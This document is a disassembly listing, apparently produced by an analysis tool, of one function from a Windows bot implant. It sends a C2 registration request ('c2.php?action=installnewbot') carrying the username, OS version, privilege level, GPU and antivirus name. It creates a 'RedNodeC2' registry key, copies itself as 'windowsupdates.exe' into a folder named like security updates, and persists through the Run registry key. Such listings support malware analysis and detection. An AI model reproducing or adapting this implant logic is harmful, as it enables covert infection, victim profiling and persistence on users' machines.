Function at 0x1400031b8
Capabilities:
Copy file
Create directory
Get session user name
Persist via run registry key
Query environment variable
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r13, rcx
mov ebx, 0x104
mov ecx, ebx
call fcn.140001050
mov ecx, ebx
mov rbp, rax
call fcn.140001050
mov rsi, rax
test rax, rax
jne 0x1400031f6
or rax, 0xffffffffffffffff
jmp 0x1400036cd
mov rcx, rsi
call fcn.140002a90
mov ecx, ebx
call fcn.140001050
lea rdx, [rsp + 0x88]
mov dword [rsp + 0x88], ebx
mov rcx, rax
mov r15, rax
call qword [sym.imp.ADVAPI32.dll_GetUserNameA]
mov ecx, ebx
call fcn.140001050
mov r14, rax
call qword [sym.imp.SHELL32.dll_IsUserAnAdmin]
mov rcx, r14
lea rdx, str.Admin
cmp eax, 1
je 0x140003246
lea rdx, str.User
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
call fcn.140003af8
mov rbx, rax
mov qword [rsp + 0x98], rax
call fcn.140003d84
mov rdi, rax
mov qword [rsp + 0x30], rax
call fcn.140004074
mov rcx, rdi
mov qword [rsp + 0x38], rax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, rbx
mov edi, eax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, r14
add edi, eax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, r15
add edi, eax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str._c2.php
add edi, eax
call qword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [rax + 0x104]
add ecx, edi
call fcn.140001050
lea rdx, str._c2.php
mov rcx, rax
mov r12, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, str._actioninstallnewbot
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.Uid
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, rsi
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.Gpu
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, qword [rsp + 0x38]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.Tag
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.AdobePhotoshop
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.Username
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, r15
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.OsVersion
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, rbx
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.Privileges
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, r14
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str.AntivirusName
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rdx, qword [rsp + 0x30]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov qword [rsp + 0x20], r12
call fcn.140002dd8
xor edi, edi
mov rbx, rax
cmp qword [rax], rdi
jne 0x1400033d5
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.ServerResponse_is_Null__d__n
mov rcx, rbp
mov r8d, eax
call qword [sym.imp.USER32.dll_wsprintfA]
mov ecx, dword [rbx + 8]
call fcn.140001050
mov r8d, dword [rbx + 8]
mov rsi, rax
mov rdx, qword [rbx]
test rax, rax
je 0x14000340a
test rdx, rdx
je 0x14000340a
test r8d, r8d
je 0x14000340a
mov rcx, rax
sub rdx, rax
mov al, byte [rdx + rcx]
mov byte [rcx], al
inc rcx
add r8d, 0xffffffff
jne 0x1400033fc
mov eax, dword [rbx + 8]
lea r8, [rsp + 0x90]
lea rdx, str.SoftwareRedNodeC2
mov rcx, 0xffffffff80000001
mov byte [rax + rsi], dil
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1400036b2
lea rdx, str.Key_Created_n
mov rcx, rbp
call qword [sym.imp.USER32.dll_wsprintfA]
or rbx, 0xffffffffffffffff
mov rax, rbx
inc rax
cmp byte [rsi + rax], dil
jne 0x14000344c
mov rcx, qword [rsp + 0x90]
lea r8, [0x140005758]
add eax, eax
mov r9d, 1
mov dword [rsp + 0x28], eax
xor edx, edx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
test eax, eax
jne 0x1400036b2
mov ecx, 0x104
call fcn.140001050
mov r8d, 0x104
mov rdx, rax
xor ecx, ecx
mov rbp, rax
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov rdx, r14
lea rcx, str.User
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140003589
mov ecx, 0x104
call fcn.140001050
mov r8d, 0x104
lea rcx, str.userprofile
mov rdx, rax
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
test eax, eax
je 0x1400035f5
lea rdx, str.DocumentsWindowsecurityUpdates_
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, str.windowsupdates.exe
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov r8d, 1
mov rdx, rdi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CopyFileA]
xor edx, edx
mov rcx, rdi
call fcn.140002974
lea r8, [rsp + 0x90]
mov rcx, 0xffffffff80000001
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x1400035f5
inc rbx
cmp byte [rdi + rbx], 0
jne 0x140003551
mov rcx, qword [rsp + 0x90]
lea r8, str.windowsupdates
mov dword [rsp + 0x28], ebx
mov r9d, 1
xor edx, edx
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_RegSetKeyValueA]
test eax, eax
je 0x1400035f5
jmp 0x1400036cb
mov edi, 0x104
mov ecx, edi
call fcn.140001050
mov r8d, edi
lea rcx, str.windir
mov rdx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
lea rdx, str.WindowSecurityUpdates_
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, str.windowsupdates.exe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov r8d, 1
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CopyFileA]
mov edx, 1
mov rcx, rbx
call fcn.140002974
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rbp
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [r13]
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, rsi
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r15
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r14
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x98]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x30]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, r12
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, 1
jmp 0x1400036cd
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.Faild_to_Create_the_key__d___n
mov rcx, rbp
mov r8d, eax
call qword [sym.imp.USER32.dll_wsprintfA]
xor eax, eax
mov rbx, qword [rsp + 0x80]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret